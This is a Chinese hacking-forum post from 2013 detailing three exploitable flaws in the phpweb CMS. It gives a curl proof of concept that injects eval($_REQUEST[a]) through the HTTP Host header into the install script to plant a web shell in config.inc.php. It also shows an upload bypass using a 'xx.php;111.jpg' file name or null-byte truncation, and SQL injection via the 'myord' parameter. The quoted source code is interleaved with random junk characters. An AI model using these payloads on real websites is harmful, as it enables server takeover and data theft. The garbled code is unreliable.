找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2493|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
. N) E4 v7 _; R1 Z; x% R0 d& J& G# O- G
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
; x9 m9 P9 V/ _4 f
# U8 e$ m: O' ~: h! d( P% [鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件+ v* D: g  c2 p4 Q; h; k* \
鸡肋2: 有一定安全常识的站长都会删掉 install 目录9 b+ H% ]5 s0 \+ b/ H; y
2 \- n9 r5 l* _! U
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; [- ]6 {4 ~* B# Y " D/ u, N+ E" W3 u
分析:
) H% Z; K/ _" |; y) {+ A $ Z6 K7 \( ?& G/ I  d4 I

& A# o" D5 ?$ {) Y8 C5 [, O3 V9 ~$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤, c% D8 c' n/ ]  u, G9 P" G* i
1 \& |2 ~1 ~$ K; L! Q
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);1 l( R1 y; l; H0 _
                                            $filestr=str_replace(" ","",$filestr);
  H1 n. s: I1 i" m0 B6 y                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
6 h+ d' ]4 }6 B8 L                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
4 d! U+ g7 d3 X. M                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);' e9 N, T6 @7 ~6 C
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);" i  W& Z0 Y. e8 L; S! [
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);- V% Z' [, n* l. d; V+ d, r
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
9 C- a3 l1 y! o, c# ^3 s" y                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
- D6 r% j! Y/ l5 O* y- _. U) [* N
: Y* N7 v, _+ `% C' E" M3 |                                            fwrite(fopen($ConFile,"w"),$filestr,30000);( ^) ?* ]6 K5 |3 j) U
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^& H" d' N& }3 ~  J4 ~7 L. u7 c

- [" [- k' @- b/ x" jpoc:
! f3 D% P* r* }
* u& y) ^) F  g* ~?
/ |  N* N, j) l! j8 R; ]1
% A0 l1 _8 |' N/ t. M+ `! `curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
- P! T4 X: @4 b' N8 R( ^3 Pshell地址: /config.inc.php
/ M- M0 [9 Q  n8 H/ d" {% f9 g" T跟之前的 phpcms一样 需要远程数据库  h# H+ C: ?" q  z5 Z( Y3 O
/ J% H$ C: V& |6 k' ~
——————————————————–1 w+ p  B, @7 P) M( j/ s1 v
上传漏洞(需要进后台):6 V4 ^1 \) s' C/ j
漏洞文件: /kedit/upload_cgi/upload.php4 E  L7 ?: X  ^/ R% C' a
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
# Y, O2 I  b; n2 R0 r
3 ~( Y$ e& _6 `% f7 M: P: j; c- |" n
: X1 \: N$ S3 Q3 c. C$ X+ [7 i+ ^/ J<?php' R* n- t/ \7 o
    define("ROOTPATH", "../../");  n: S2 Z' n/ m5 ~
    include(ROOTPATH."includes/admin.inc.php");
0 z8 u0 g6 n% t8 _, J* z    NeedAuth(0);
' q  F2 d+ C" W* j& [7 G( m 8 j6 C  e. @/ Y) F
    $dt=date("Ymd",time());2 u9 t. S# x2 q1 b, S/ S( W
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
3 ^$ t7 x3 H6 i8 k            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);# `8 R, Q0 e# _! K+ T
    }
9 M6 A6 @" [7 I1 }  Q) v 2 c6 l- R. v$ x
    //文件保存目录路径* W9 j2 K- ~/ `+ O6 a1 p" z/ \
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';; k2 W1 [& B/ k& U( v6 X' [* p
    echo $save_path;
4 s& v( @. D! x, ~4 }    //文件保存目录URL4 x3 V( f! p4 m$ E/ \  G1 P
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
/ m8 D8 T4 C* ~/ k, F7 u
- V" F+ I6 P- L+ V0 K/ b9 `7 u    //定义允许上传的文件扩展名
2 Y+ ?  ?0 K$ h! k    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
5 a; V" G) Z1 J# k1 I) J2 \$ \. i
. c: m: E% L) q2 Z! i' i9 _1 c    //最大文件大小8 q& L/ _3 X& A/ P9 B
    $max_size = 1000000;5 q) N, z6 f) J* P6 \3 d0 y& f
" Q7 p2 l5 o9 c0 z5 v) {# L" N" z8 J
    //更改目录权限
% i8 k  A- ^9 [* k" Q    @mkdir($save_path, 0777);) S. Y+ c- i- |$ t3 s$ W. }# |1 o
, c- R$ e1 H0 Z
    //文件的全部路径
  y9 `  U! {( t. U3 Q! U1 h! X    $file_path = $save_path.$_POST['fileName'];   //保存文件名/ h% k. R. t& V
# Z. i( I6 s, r7 i$ W; v
    //文件URL
. j7 _; n! g) r7 l0 |    $file_url = $save_url.$_POST['fileName'];
6 {% a! Z: x! ]% ~//有上传文件时) j. A, j5 x5 o: r& h# n4 G
    if (empty($_FILES) === false) {
, W' v/ F+ W- S, B, l. o 4 Z! [2 R* ?  @' _3 _* |
            //原文件名
" v6 ~1 P6 N3 X; x6 N9 J) Y* X  p            $file_name = $_FILES['fileData']['name'];
( y9 w+ y* i) c( `" w" i            //服务器上临时文件名% X9 e1 p& A$ w6 i; c
            $tmp_name = $_FILES['fileData']['tmp_name'];
* Q: y3 R( g% A4 ]% z* V            //文件大小
' k  I2 w1 z" T9 b" S            $file_size = $_FILES['fileData']['size'];
3 @" D  ^8 W5 i            //检查目录
0 k2 G7 d) r8 G6 G0 @1 ~            if (@is_dir($save_path) === false) {# \* g7 [6 r  k0 o2 G9 ]' V
                    alert("上传目录不存在。");
% {& P9 D& D; v# m, `            }
" Z" B" {( I* D% N! ~( L            //检查目录写权限
" d4 a8 x2 `, w4 ~0 x# h) C- F) P            if (@is_writable($save_path) === false) {" M! w; w/ y3 z) }6 f
                    alert("上传目录没有写权限。");& M8 |% _+ L1 B- {+ p- t3 e
            }
4 f! Q& K( C2 C+ V            //检查是否已上传) V* W& E' {. ~5 _+ c. e' _
            if (@is_uploaded_file($tmp_name) === false) {6 H1 e$ O4 R- H$ ^
                    alert("临时文件可能不是上传文件。");
, q! ]9 y2 h+ m% @( P4 W# c            }' a* n: q- P' L! }' U! p/ \; N6 I
            //检查文件大小8 g) k% y# |8 ?" w. ]6 _; h4 m
            if ($file_size > $max_size) {$ T: t  e8 `1 I
                    alert("上传文件大小超过限制。");3 ~# C- m% H. o' v9 l
            }
+ [  H" w! G/ a) l. V            //获得文件扩展名
% R; {6 X# [  g( z1 R6 l6 t            $temp_arr = explode(".", $_POST['fileName']);7 D, k8 ^' |0 c: q
            $file_ext = array_pop($temp_arr);5 W' p9 w% I1 i9 `( |% g
            $file_ext = trim($file_ext);4 E8 B5 D0 W- I; _
            $file_ext = strtolower($file_ext);
, b  h5 @& w0 i( Q  a  c  C7 f6 N
+ j; H6 p% j& e" M3 d+ Q* O2 d            //检查扩展名   0 z. T2 Q7 o4 V7 b8 k
            if (in_array($file_ext, $ext_arr) === false) {     
  y3 O. Q0 O6 o4 _7 A                    alert("上传文件扩展名是不允许的扩展名。");
! i. \6 A. z$ ~6 o: p, a6 J            }# Y. z- y- W" U: J0 [2 x

' g7 P/ T+ j7 g* F            //移动文件   ) L/ W) ^3 p: o* Y# K* @4 p6 R
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
0 M" G  C& A; x* l  ^3 b$ }            if (move_uploaded_file($tmp_name, $file_path) === false) {
  o- V/ e* C8 F; S! t: ?1 ]" C                    alert("上传文件失败。");
' L7 N2 U) ?" u. {2 @- m+ c  f; f7 q1 J$ E            }5 m* Y& n% ~& k$ P
& _. c+ n4 C2 s
            @chmod($file_path,0666);
9 E2 P% W3 w; V$ f1 H 6 w/ I' y; @+ ?1 e+ z2 Q3 f
    ?># J2 b1 e( @" k8 y/ Y
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
& Z0 C) X3 ^5 m9 F' I0 A, A : w0 d3 {5 U7 t) J: P
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过6 X8 @$ S3 |: ?$ X& t8 [4 Y5 s

' c( x1 N2 D) T  f  U——————————————————
( x9 L; D! I, l- Z0 j注入漏洞:8 q: z: M7 h- h2 j/ i+ U
漏洞文件:search/module/search.php3 x! O/ ]% G0 e+ m9 y# L
/search/index.php?key=1&myord=1 [sqlinjection]6 i& _" _; a4 `

0 M& }0 r) a9 O' O% `
! n8 g# Y% u6 ]4 ]<?php
) |. R9 q( _3 X, _   //       ... 省略 n 行...7 `6 \1 g: F' o. ~  h; h+ b- e
   //第18行:& }: |. h! e; f3 n# s+ v
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
* ~' F8 ]& {. w: ]- h" |8 [" N           $page=htmlspecialchars($_GET["page"]);
: z4 `/ {* C5 N5 r' Q# e9 N  s" W           $myord=htmlspecialchars($_GET["myord"]);
6 c# _" r& ^6 Z7 p 5 P+ R: q; D( R( d2 _/ m9 F& a
   //       ... 省略 n 行...- r  K/ E7 C- I2 ^) L5 Z: a
   $key,$myord 两个参数带入查询/ l- j2 S4 E8 {
   //第47行 $key:
: x! Y& l7 s1 K; W/ v& o
. x8 k9 ~( d: J* g9 {5 _% l   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
. n% k2 I% V( C: ` , K0 q: X' W" g4 {# m6 ]$ A" n
   //第197行 $myord
( f7 F  }  L3 h) Q* ?  U   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入' d# c, f: t: y7 [6 M; J
1 z: C8 M' K$ ?% g+ x* l
   ?>) [0 s. ^! b8 n4 z+ S' w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表